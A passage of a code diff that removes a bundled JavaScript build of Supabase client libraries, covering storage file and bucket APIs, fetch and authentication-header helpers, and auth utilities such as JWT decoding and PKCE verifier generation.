super(message); - this.__isStorageError = true; - this.name = "StorageError"; - } - }; - function isStorageError(error) { - return typeof error === "object" && error !== null && "__isStorageError" in error; - } - var StorageApiError = class extends StorageError { - constructor(message, status) { - super(message); - this.name = "StorageApiError"; - this.status = status; - } - toJSON() { - return { - name: this.name, - message: this.message, - status: this.status - }; - } - }; - var StorageUnknownError = class extends StorageError { - constructor(message, originalError) { - super(message); - this.name = "StorageUnknownError"; - this.originalError = originalError; - } - }; - - // node_modules/@supabase/storage-js/dist/module/lib/helpers.js - var __awaiter10 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var resolveFetch2 = (customFetch) => { - let _fetch; - if (customFetch) { - _fetch = customFetch; - } else if (typeof fetch === "undefined") { - _fetch = (...args) => Promise.resolve().then(() => (init_browser(), browser_exports)).then(({ default: fetch3 }) => fetch3(...args)); - } else { - _fetch = fetch; - } - return (...args) => _fetch(...args); - }; - var resolveResponse = () => __awaiter10(void 0, void 0, void 0, function* () { - if (typeof Response === "undefined") { - return (yield Promise.resolve().then(() => (init_browser(), browser_exports))).Response; - } - return Response; - }); - - // node_modules/@supabase/storage-js/dist/module/lib/fetch.js - var __awaiter11 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var _getErrorMessage = (err) => err.msg || err.message || err.error_description || err.error || JSON.stringify(err); - var handleError = (error, reject) => __awaiter11(void 0, void 0, void 0, function* () { - const Res = yield resolveResponse(); - if (error instanceof Res) { - error.json().then((err) => { - reject(new StorageApiError(_getErrorMessage(err), error.status || 500)); - }).catch((err) => { - reject(new StorageUnknownError(_getErrorMessage(err), err)); - }); - } else { - reject(new StorageUnknownError(_getErrorMessage(error), error)); - } - }); - var _getRequestParams = (method, options, parameters, body) => { - const params = { method, headers: (options === null || options === void 0 ? void 0 : options.headers) || {} }; - if (method === "GET") { - return params; - } - params.headers = Object.assign({ "Content-Type": "application/json" }, options === null || options === void 0 ? void 0 : options.headers); - params.body = JSON.stringify(body); - return Object.assign(Object.assign({}, params), parameters); - }; - function _handleRequest(fetcher, method, url, options, parameters, body) { - return __awaiter11(this, void 0, void 0, function* () { - return new Promise((resolve, reject) => { - fetcher(url, _getRequestParams(method, options, parameters, body)).then((result) => { - if (!result.ok) - throw result; - if (options === null || options === void 0 ? void 0 : options.noResolveJson) - return result; - return result.json(); - }).then((data) => resolve(data)).catch((error) => handleError(error, reject)); - }); - }); - } - function get(fetcher, url, options, parameters) { - return __awaiter11(this, void 0, void 0, function* () { - return _handleRequest(fetcher, "GET", url, options, parameters); - }); - } - function post(fetcher, url, body, options, parameters) { - return __awaiter11(this, void 0, void 0, function* () { - return _handleRequest(fetcher, "POST", url, options, parameters, body); - }); - } - function put(fetcher, url, body, options, parameters) { - return __awaiter11(this, void 0, void 0, function* () { - return _handleRequest(fetcher, "PUT", url, options, parameters, body); - }); - } - function remove(fetcher, url, body, options, parameters) { - return __awaiter11(this, void 0, void 0, function* () { - return _handleRequest(fetcher, "DELETE", url, options, parameters, body); - }); - } - - // node_modules/@supabase/storage-js/dist/module/packages/StorageFileApi.js - var __awaiter12 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var DEFAULT_SEARCH_OPTIONS = { - limit: 100, - offset: 0, - sortBy: { - column: "name", - order: "asc" - } - }; - var DEFAULT_FILE_OPTIONS = { - cacheControl: "3600", - contentType: "text/plain;charset=UTF-8", - upsert: false - }; - var StorageFileApi = class { - constructor(url, headers = {}, bucketId, fetch3) { - this.url = url; - this.headers = headers; - this.bucketId = bucketId; - this.fetch = resolveFetch2(fetch3); - } - /** - * Uploads a file to an existing bucket or replaces an existing file at the specified path with a new one. - * - * @param method HTTP method. - * @param path The relative file path. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload. - * @param fileBody The body of the file to be stored in the bucket. - */ - uploadOrUpdate(method, path, fileBody, fileOptions) { - return __awaiter12(this, void 0, void 0, function* () { - try { - let body; - const options = Object.assign(Object.assign({}, DEFAULT_FILE_OPTIONS), fileOptions); - const headers = Object.assign(Object.assign({}, this.headers), method === "POST" && { "x-upsert": String(options.upsert) }); - if (typeof Blob !== "undefined" && fileBody instanceof Blob) { - body = new FormData(); - body.append("cacheControl", options.cacheControl); - body.append("", fileBody); - } else if (typeof FormData !== "undefined" && fileBody instanceof FormData) { - body = fileBody; - body.append("cacheControl", options.cacheControl); - } else { - body = fileBody; - headers["cache-control"] = `max-age=${options.cacheControl}`; - headers["content-type"] = options.contentType; - } - const cleanPath = this._removeEmptyFolders(path); - const _path = this._getFinalPath(cleanPath); - const res = yield this.fetch(`${this.url}/object/${_path}`, Object.assign({ method, body, headers }, (options === null || options === void 0 ? void 0 : options.duplex) ? { duplex: options.duplex } : {})); - const data = yield res.json(); - if (res.ok) { - return { - data: { path: cleanPath, id: data.Id, fullPath: data.Key }, - error: null - }; - } else { - const error = data; - return { data: null, error }; - } - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Uploads a file to an existing bucket. - * - * @param path The file path, including the file name. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload. - * @param fileBody The body of the file to be stored in the bucket. - */ - upload(path, fileBody, fileOptions) { - return __awaiter12(this, void 0, void 0, function* () { - return this.uploadOrUpdate("POST", path, fileBody, fileOptions); - }); - } - /** - * Upload a file with a token generated from `createSignedUploadUrl`. - * @param path The file path, including the file name. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to upload. - * @param token The token generated from `createSignedUploadUrl` - * @param fileBody The body of the file to be stored in the bucket. - */ - uploadToSignedUrl(path, token, fileBody, fileOptions) { - return __awaiter12(this, void 0, void 0, function* () { - const cleanPath = this._removeEmptyFolders(path); - const _path = this._getFinalPath(cleanPath); - const url = new URL(this.url + `/object/upload/sign/${_path}`); - url.searchParams.set("token", token); - try { - let body; - const options = Object.assign({ upsert: DEFAULT_FILE_OPTIONS.upsert }, fileOptions); - const headers = Object.assign(Object.assign({}, this.headers), { "x-upsert": String(options.upsert) }); - if (typeof Blob !== "undefined" && fileBody instanceof Blob) { - body = new FormData(); - body.append("cacheControl", options.cacheControl); - body.append("", fileBody); - } else if (typeof FormData !== "undefined" && fileBody instanceof FormData) { - body = fileBody; - body.append("cacheControl", options.cacheControl); - } else { - body = fileBody; - headers["cache-control"] = `max-age=${options.cacheControl}`; - headers["content-type"] = options.contentType; - } - const res = yield this.fetch(url.toString(), { - method: "PUT", - body, - headers - }); - const data = yield res.json(); - if (res.ok) { - return { - data: { path: cleanPath, fullPath: data.Key }, - error: null - }; - } else { - const error = data; - return { data: null, error }; - } - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Creates a signed upload URL. - * Signed upload URLs can be used to upload files to the bucket without further authentication. - * They are valid for 2 hours. - * @param path The file path, including the current file name. For example `folder/image.png`. - * @param options.upsert If set to true, allows the file to be overwritten if it already exists. - */ - createSignedUploadUrl(path, options) { - return __awaiter12(this, void 0, void 0, function* () { - try { - let _path = this._getFinalPath(path); - const headers = Object.assign({}, this.headers); - if (options === null || options === void 0 ? void 0 : options.upsert) { - headers["x-upsert"] = "true"; - } - const data = yield post(this.fetch, `${this.url}/object/upload/sign/${_path}`, {}, { headers }); - const url = new URL(this.url + data.url); - const token = url.searchParams.get("token"); - if (!token) { - throw new StorageError("No token returned by API"); - } - return { data: { signedUrl: url.toString(), path, token }, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Replaces an existing file at the specified path with a new one. - * - * @param path The relative file path. Should be of the format `folder/subfolder/filename.png`. The bucket must already exist before attempting to update. - * @param fileBody The body of the file to be stored in the bucket. - */ - update(path, fileBody, fileOptions) { - return __awaiter12(this, void 0, void 0, function* () { - return this.uploadOrUpdate("PUT", path, fileBody, fileOptions); - }); - } - /** - * Moves an existing file to a new path in the same bucket. - * - * @param fromPath The original file path, including the current file name. For example `folder/image.png`. - * @param toPath The new file path, including the new file name. For example `folder/image-new.png`. - * @param options The destination options. - */ - move(fromPath, toPath, options) { - return __awaiter12(this, void 0, void 0, function* () { - try { - const data = yield post(this.fetch, `${this.url}/object/move`, { - bucketId: this.bucketId, - sourceKey: fromPath, - destinationKey: toPath, - destinationBucket: options === null || options === void 0 ? void 0 : options.destinationBucket - }, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Copies an existing file to a new path in the same bucket. - * - * @param fromPath The original file path, including the current file name. For example `folder/image.png`. - * @param toPath The new file path, including the new file name. For example `folder/image-copy.png`. - * @param options The destination options. - */ - copy(fromPath, toPath, options) { - return __awaiter12(this, void 0, void 0, function* () { - try { - const data = yield post(this.fetch, `${this.url}/object/copy`, { - bucketId: this.bucketId, - sourceKey: fromPath, - destinationKey: toPath, - destinationBucket: options === null || options === void 0 ? void 0 : options.destinationBucket - }, { headers: this.headers }); - return { data: { path: data.Key }, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Creates a signed URL. Use a signed URL to share a file for a fixed amount of time. - * - * @param path The file path, including the current file name. For example `folder/image.png`. - * @param expiresIn The number of seconds until the signed URL expires. For example, `60` for a URL which is valid for one minute. - * @param options.download triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename. - * @param options.transform Transform the asset before serving it to the client. - */ - createSignedUrl(path, expiresIn, options) { - return __awaiter12(this, void 0, void 0, function* () { - try { - let _path = this._getFinalPath(path); - let data = yield post(this.fetch, `${this.url}/object/sign/${_path}`, Object.assign({ expiresIn }, (options === null || options === void 0 ? void 0 : options.transform) ? { transform: options.transform } : {}), { headers: this.headers }); - const downloadQueryParam = (options === null || options === void 0 ? void 0 : options.download) ? `&download=${options.download === true ? "" : options.download}` : ""; - const signedUrl = encodeURI(`${this.url}${data.signedURL}${downloadQueryParam}`); - data = { signedUrl }; - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Creates multiple signed URLs. Use a signed URL to share a file for a fixed amount of time. - * - * @param paths The file paths to be downloaded, including the current file names. For example `['folder/image.png', 'folder2/image2.png']`. - * @param expiresIn The number of seconds until the signed URLs expire. For example, `60` for URLs which are valid for one minute. - * @param options.download triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename. - */ - createSignedUrls(paths, expiresIn, options) { - return __awaiter12(this, void 0, void 0, function* () { - try { - const data = yield post(this.fetch, `${this.url}/object/sign/${this.bucketId}`, { expiresIn, paths }, { headers: this.headers }); - const downloadQueryParam = (options === null || options === void 0 ? void 0 : options.download) ? `&download=${options.download === true ? "" : options.download}` : ""; - return { - data: data.map((datum) => Object.assign(Object.assign({}, datum), { signedUrl: datum.signedURL ? encodeURI(`${this.url}${datum.signedURL}${downloadQueryParam}`) : null })), - error: null - }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Downloads a file from a private bucket. For public buckets, make a request to the URL returned from `getPublicUrl` instead. - * - * @param path The full path and file name of the file to be downloaded. For example `folder/image.png`. - * @param options.transform Transform the asset before serving it to the client. - */ - download(path, options) { - return __awaiter12(this, void 0, void 0, function* () { - const wantsTransformation = typeof (options === null || options === void 0 ? void 0 : options.transform) !== "undefined"; - const renderPath = wantsTransformation ? "render/image/authenticated" : "object"; - const transformationQuery = this.transformOptsToQueryString((options === null || options === void 0 ? void 0 : options.transform) || {}); - const queryString = transformationQuery ? `?${transformationQuery}` : ""; - try { - const _path = this._getFinalPath(path); - const res = yield get(this.fetch, `${this.url}/${renderPath}/${_path}${queryString}`, { - headers: this.headers, - noResolveJson: true - }); - const data = yield res.blob(); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * A simple convenience function to get the URL for an asset in a public bucket. If you do not want to use this function, you can construct the public URL by concatenating the bucket URL with the path to the asset. - * This function does not verify if the bucket is public. If a public URL is created for a bucket which is not public, you will not be able to download the asset. - * - * @param path The path and name of the file to generate the public URL for. For example `folder/image.png`. - * @param options.download Triggers the file as a download if set to true. Set this parameter as the name of the file if you want to trigger the download with a different filename. - * @param options.transform Transform the asset before serving it to the client. - */ - getPublicUrl(path, options) { - const _path = this._getFinalPath(path); - const _queryString = []; - const downloadQueryParam = (options === null || options === void 0 ? void 0 : options.download) ? `download=${options.download === true ? "" : options.download}` : ""; - if (downloadQueryParam !== "") { - _queryString.push(downloadQueryParam); - } - const wantsTransformation = typeof (options === null || options === void 0 ? void 0 : options.transform) !== "undefined"; - const renderPath = wantsTransformation ? "render/image" : "object"; - const transformationQuery = this.transformOptsToQueryString((options === null || options === void 0 ? void 0 : options.transform) || {}); - if (transformationQuery !== "") { - _queryString.push(transformationQuery); - } - let queryString = _queryString.join("&"); - if (queryString !== "") { - queryString = `?${queryString}`; - } - return { - data: { publicUrl: encodeURI(`${this.url}/${renderPath}/public/${_path}${queryString}`) } - }; - } - /** - * Deletes files within the same bucket - * - * @param paths An array of files to delete, including the path and file name. For example [`'folder/image.png'`]. - */ - remove(paths) { - return __awaiter12(this, void 0, void 0, function* () { - try { - const data = yield remove(this.fetch, `${this.url}/object/${this.bucketId}`, { prefixes: paths }, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Get file metadata - * @param id the file id to retrieve metadata - */ - // async getMetadata( - // id: string - // ): Promise< - // | { - // data: Metadata - // error: null - // } - // | { - // data: null - // error: StorageError - // } - // > { - // try { - // const data = await get(this.fetch, `${this.url}/metadata/${id}`, { headers: this.headers }) - // return { data, error: null } - // } catch (error) { - // if (isStorageError(error)) { - // return { data: null, error } - // } - // throw error - // } - // } - /** - * Update file metadata - * @param id the file id to update metadata - * @param meta the new file metadata - */ - // async updateMetadata( - // id: string, - // meta: Metadata - // ): Promise< - // | { - // data: Metadata - // error: null - // } - // | { - // data: null - // error: StorageError - // } - // > { - // try { - // const data = await post( - // this.fetch, - // `${this.url}/metadata/${id}`, - // { ...meta }, - // { headers: this.headers } - // ) - // return { data, error: null } - // } catch (error) { - // if (isStorageError(error)) { - // return { data: null, error } - // } - // throw error - // } - // } - /** - * Lists all the files within a bucket. - * @param path The folder path. - */ - list(path, options, parameters) { - return __awaiter12(this, void 0, void 0, function* () { - try { - const body = Object.assign(Object.assign(Object.assign({}, DEFAULT_SEARCH_OPTIONS), options), { prefix: path || "" }); - const data = yield post(this.fetch, `${this.url}/object/list/${this.bucketId}`, body, { headers: this.headers }, parameters); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - _getFinalPath(path) { - return `${this.bucketId}/${path}`; - } - _removeEmptyFolders(path) { - return path.replace(/^\/|\/$/g, "").replace(/\/+/g, "/"); - } - transformOptsToQueryString(transform) { - const params = []; - if (transform.width) { - params.push(`width=${transform.width}`); - } - if (transform.height) { - params.push(`height=${transform.height}`); - } - if (transform.resize) { - params.push(`resize=${transform.resize}`); - } - if (transform.format) { - params.push(`format=${transform.format}`); - } - if (transform.quality) { - params.push(`quality=${transform.quality}`); - } - return params.join("&"); - } - }; - - // node_modules/@supabase/storage-js/dist/module/lib/version.js - var version18 = "2.6.0"; - - // node_modules/@supabase/storage-js/dist/module/lib/constants.js - var DEFAULT_HEADERS2 = { "X-Client-Info": `storage-js/${version18}` }; - - // node_modules/@supabase/storage-js/dist/module/packages/StorageBucketApi.js - var __awaiter13 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var StorageBucketApi = class { - constructor(url, headers = {}, fetch3) { - this.url = url; - this.headers = Object.assign(Object.assign({}, DEFAULT_HEADERS2), headers); - this.fetch = resolveFetch2(fetch3); - } - /** - * Retrieves the details of all Storage buckets within an existing project. - */ - listBuckets() { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield get(this.fetch, `${this.url}/bucket`, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Retrieves the details of an existing Storage bucket. - * - * @param id The unique identifier of the bucket you would like to retrieve. - */ - getBucket(id3) { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield get(this.fetch, `${this.url}/bucket/${id3}`, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Creates a new Storage bucket - * - * @param id A unique identifier for the bucket you are creating. - * @param options.public The visibility of the bucket. Public buckets don't require an authorization token to download objects, but still require a valid token for all other operations. By default, buckets are private. - * @param options.fileSizeLimit specifies the max file size in bytes that can be uploaded to this bucket. - * The global file size limit takes precedence over this value. - * The default value is null, which doesn't set a per bucket file size limit. - * @param options.allowedMimeTypes specifies the allowed mime types that this bucket can accept during upload. - * The default value is null, which allows files with all mime types to be uploaded. - * Each mime type specified can be a wildcard, e.g. image/*, or a specific mime type, e.g. image/png. - * @returns newly created bucket id - */ - createBucket(id3, options = { - public: false - }) { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield post(this.fetch, `${this.url}/bucket`, { - id: id3, - name: id3, - public: options.public, - file_size_limit: options.fileSizeLimit, - allowed_mime_types: options.allowedMimeTypes - }, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Updates a Storage bucket - * - * @param id A unique identifier for the bucket you are updating. - * @param options.public The visibility of the bucket. Public buckets don't require an authorization token to download objects, but still require a valid token for all other operations. - * @param options.fileSizeLimit specifies the max file size in bytes that can be uploaded to this bucket. - * The global file size limit takes precedence over this value. - * The default value is null, which doesn't set a per bucket file size limit. - * @param options.allowedMimeTypes specifies the allowed mime types that this bucket can accept during upload. - * The default value is null, which allows files with all mime types to be uploaded. - * Each mime type specified can be a wildcard, e.g. image/*, or a specific mime type, e.g. image/png. - */ - updateBucket(id3, options) { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield put(this.fetch, `${this.url}/bucket/${id3}`, { - id: id3, - name: id3, - public: options.public, - file_size_limit: options.fileSizeLimit, - allowed_mime_types: options.allowedMimeTypes - }, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Removes all objects inside a single bucket. - * - * @param id The unique identifier of the bucket you would like to empty. - */ - emptyBucket(id3) { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield post(this.fetch, `${this.url}/bucket/${id3}/empty`, {}, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - /** - * Deletes an existing bucket. A bucket can't be deleted with existing objects inside it. - * You must first `empty()` the bucket. - * - * @param id The unique identifier of the bucket you would like to delete. - */ - deleteBucket(id3) { - return __awaiter13(this, void 0, void 0, function* () { - try { - const data = yield remove(this.fetch, `${this.url}/bucket/${id3}`, {}, { headers: this.headers }); - return { data, error: null }; - } catch (error) { - if (isStorageError(error)) { - return { data: null, error }; - } - throw error; - } - }); - } - }; - - // node_modules/@supabase/storage-js/dist/module/StorageClient.js - var StorageClient = class extends StorageBucketApi { - constructor(url, headers = {}, fetch3) { - super(url, headers, fetch3); - } - /** - * Perform file operation in a bucket. - * - * @param id The bucket id to operate on. - */ - from(id3) { - return new StorageFileApi(this.url, this.headers, id3, this.fetch); - } - }; - - // node_modules/@supabase/supabase-js/dist/module/lib/version.js - var version19 = "2.44.4"; - - // node_modules/@supabase/supabase-js/dist/module/lib/constants.js - var JS_ENV = ""; - if (typeof Deno !== "undefined") { - JS_ENV = "deno"; - } else if (typeof document !== "undefined") { - JS_ENV = "web"; - } else if (typeof navigator !== "undefined" && navigator.product === "ReactNative") { - JS_ENV = "react-native"; - } else { - JS_ENV = "node"; - } - var DEFAULT_HEADERS3 = { "X-Client-Info": `supabase-js-${JS_ENV}/${version19}` }; - var DEFAULT_GLOBAL_OPTIONS = { - headers: DEFAULT_HEADERS3 - }; - var DEFAULT_DB_OPTIONS = { - schema: "public" - }; - var DEFAULT_AUTH_OPTIONS = { - autoRefreshToken: true, - persistSession: true, - detectSessionInUrl: true, - flowType: "implicit" - }; - var DEFAULT_REALTIME_OPTIONS = {}; - - // node_modules/@supabase/supabase-js/dist/module/lib/fetch.js - init_browser(); - var __awaiter14 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var resolveFetch3 = (customFetch) => { - let _fetch; - if (customFetch) { - _fetch = customFetch; - } else if (typeof fetch === "undefined") { - _fetch = browser_default2; - } else { - _fetch = fetch; - } - return (...args) => _fetch(...args); - }; - var resolveHeadersConstructor = () => { - if (typeof Headers === "undefined") { - return Headers2; - } - return Headers; - }; - var fetchWithAuth = (supabaseKey, getAccessToken, customFetch) => { - const fetch3 = resolveFetch3(customFetch); - const HeadersConstructor = resolveHeadersConstructor(); - return (input, init3) => __awaiter14(void 0, void 0, void 0, function* () { - var _a; - const accessToken = (_a = yield getAccessToken()) !== null && _a !== void 0 ? _a : supabaseKey; - let headers = new HeadersConstructor(init3 === null || init3 === void 0 ? void 0 : init3.headers); - if (!headers.has("apikey")) { - headers.set("apikey", supabaseKey); - } - if (!headers.has("Authorization")) { - headers.set("Authorization", `Bearer ${accessToken}`); - } - return fetch3(input, Object.assign(Object.assign({}, init3), { headers })); - }); - }; - - // node_modules/@supabase/supabase-js/dist/module/lib/helpers.js - function stripTrailingSlash(url) { - return url.replace(/\/$/, ""); - } - function applySettingDefaults(options, defaults2) { - const { db: dbOptions, auth: authOptions, realtime: realtimeOptions, global: globalOptions } = options; - const { db: DEFAULT_DB_OPTIONS2, auth: DEFAULT_AUTH_OPTIONS2, realtime: DEFAULT_REALTIME_OPTIONS2, global: DEFAULT_GLOBAL_OPTIONS2 } = defaults2; - return { - db: Object.assign(Object.assign({}, DEFAULT_DB_OPTIONS2), dbOptions), - auth: Object.assign(Object.assign({}, DEFAULT_AUTH_OPTIONS2), authOptions), - realtime: Object.assign(Object.assign({}, DEFAULT_REALTIME_OPTIONS2), realtimeOptions), - global: Object.assign(Object.assign({}, DEFAULT_GLOBAL_OPTIONS2), globalOptions) - }; - } - - // node_modules/@supabase/auth-js/dist/module/lib/version.js - var version20 = "2.64.4"; - - // node_modules/@supabase/auth-js/dist/module/lib/constants.js - var GOTRUE_URL = "http://localhost:9999"; - var STORAGE_KEY = "supabase.auth.token"; - var DEFAULT_HEADERS4 = { "X-Client-Info": `gotrue-js/${version20}` }; - var EXPIRY_MARGIN = 10; - var API_VERSION_HEADER_NAME = "X-Supabase-Api-Version"; - var API_VERSIONS = { - "2024-01-01": { - timestamp: Date.parse("2024-01-01T00:00:00.0Z"), - name: "2024-01-01" - } - }; - - // node_modules/@supabase/auth-js/dist/module/lib/helpers.js - function expiresAt(expiresIn) { - const timeNow = Math.round(Date.now() / 1e3); - return timeNow + expiresIn; - } - function uuid() { - return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) { - const r3 = Math.random() * 16 | 0, v = c == "x" ? r3 : r3 & 3 | 8; - return v.toString(16); - }); - } - var isBrowser = () => typeof document !== "undefined"; - var localStorageWriteTests = { - tested: false, - writable: false - }; - var supportsLocalStorage = () => { - if (!isBrowser()) { - return false; - } - try { - if (typeof globalThis.localStorage !== "object") { - return false; - } - } catch (e) { - return false; - } - if (localStorageWriteTests.tested) { - return localStorageWriteTests.writable; - } - const randomKey = `lswt-${Math.random()}${Math.random()}`; - try { - globalThis.localStorage.setItem(randomKey, randomKey); - globalThis.localStorage.removeItem(randomKey); - localStorageWriteTests.tested = true; - localStorageWriteTests.writable = true; - } catch (e) { - localStorageWriteTests.tested = true; - localStorageWriteTests.writable = false; - } - return localStorageWriteTests.writable; - }; - function parseParametersFromURL(href) { - const result = {}; - const url = new URL(href); - if (url.hash && url.hash[0] === "#") { - try { - const hashSearchParams = new URLSearchParams(url.hash.substring(1)); - hashSearchParams.forEach((value, key3) => { - result[key3] = value; - }); - } catch (e) { - } - } - url.searchParams.forEach((value, key3) => { - result[key3] = value; - }); - return result; - } - var resolveFetch4 = (customFetch) => { - let _fetch; - if (customFetch) { - _fetch = customFetch; - } else if (typeof fetch === "undefined") { - _fetch = (...args) => Promise.resolve().then(() => (init_browser(), browser_exports)).then(({ default: fetch3 }) => fetch3(...args)); - } else { - _fetch = fetch; - } - return (...args) => _fetch(...args); - }; - var looksLikeFetchResponse = (maybeResponse) => { - return typeof maybeResponse === "object" && maybeResponse !== null && "status" in maybeResponse && "ok" in maybeResponse && "json" in maybeResponse && typeof maybeResponse.json === "function"; - }; - var setItemAsync = async (storage, key3, data) => { - await storage.setItem(key3, JSON.stringify(data)); - }; - var getItemAsync = async (storage, key3) => { - const value = await storage.getItem(key3); - if (!value) { - return null; - } - try { - return JSON.parse(value); - } catch (_a) { - return value; - } - }; - var removeItemAsync = async (storage, key3) => { - await storage.removeItem(key3); - }; - function decodeBase64URL(value) { - const key3 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; - let base64 = ""; - let chr1, chr2, chr3; - let enc1, enc2, enc3, enc4; - let i = 0; - value = value.replace("-", "+").replace("_", "/"); - while (i < value.length) { - enc1 = key3.indexOf(value.charAt(i++)); - enc2 = key3.indexOf(value.charAt(i++)); - enc3 = key3.indexOf(value.charAt(i++)); - enc4 = key3.indexOf(value.charAt(i++)); - chr1 = enc1 << 2 | enc2 >> 4; - chr2 = (enc2 & 15) << 4 | enc3 >> 2; - chr3 = (enc3 & 3) << 6 | enc4; - base64 = base64 + String.fromCharCode(chr1); - if (enc3 != 64 && chr2 != 0) { - base64 = base64 + String.fromCharCode(chr2); - } - if (enc4 != 64 && chr3 != 0) { - base64 = base64 + String.fromCharCode(chr3); - } - } - return base64; - } - var Deferred = class _Deferred { - constructor() { - ; - this.promise = new _Deferred.promiseConstructor((res, rej) => { - ; - this.resolve = res; - this.reject = rej; - }); - } - }; - Deferred.promiseConstructor = Promise; - function decodeJWTPayload(token) { - const base64UrlRegex = /^([a-z0-9_-]{4})*($|[a-z0-9_-]{3}=?$|[a-z0-9_-]{2}(==)?$)$/i; - const parts = token.split("."); - if (parts.length !== 3) { - throw new Error("JWT is not valid: not a JWT structure"); - } - if (!base64UrlRegex.test(parts[1])) { - throw new Error("JWT is not valid: payload is not in base64url format"); - } - const base64Url = parts[1]; - return JSON.parse(decodeBase64URL(base64Url)); - } - async function sleep(time) { - return await new Promise((accept) => { - setTimeout(() => accept(null), time); - }); - } - function retryable(fn, isRetryable) { - const promise = new Promise((accept, reject) => { - ; - (async () => { - for (let attempt = 0; attempt < Infinity; attempt++) { - try { - const result = await fn(attempt); - if (!isRetryable(attempt, null, result)) { - accept(result); - return; - } - } catch (e) { - if (!isRetryable(attempt, e)) { - reject(e); - return; - } - } - } - })(); - }); - return promise; - } - function dec2hex(dec) { - return ("0" + dec.toString(16)).substr(-2); - } - function generatePKCEVerifier() { - const verifierLength = 56; - const array = new Uint32Array(verifierLength); - if (typeof crypto === "undefined") { - const charSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~"; - const charSetLen = charSet.length; - let verifier = ""; - for (let i = 0; i < verifierLength; i++) { - verifier += charSet.charAt(Math.floor(Math.random() * charSetLen)); - } - return verifier; - } - 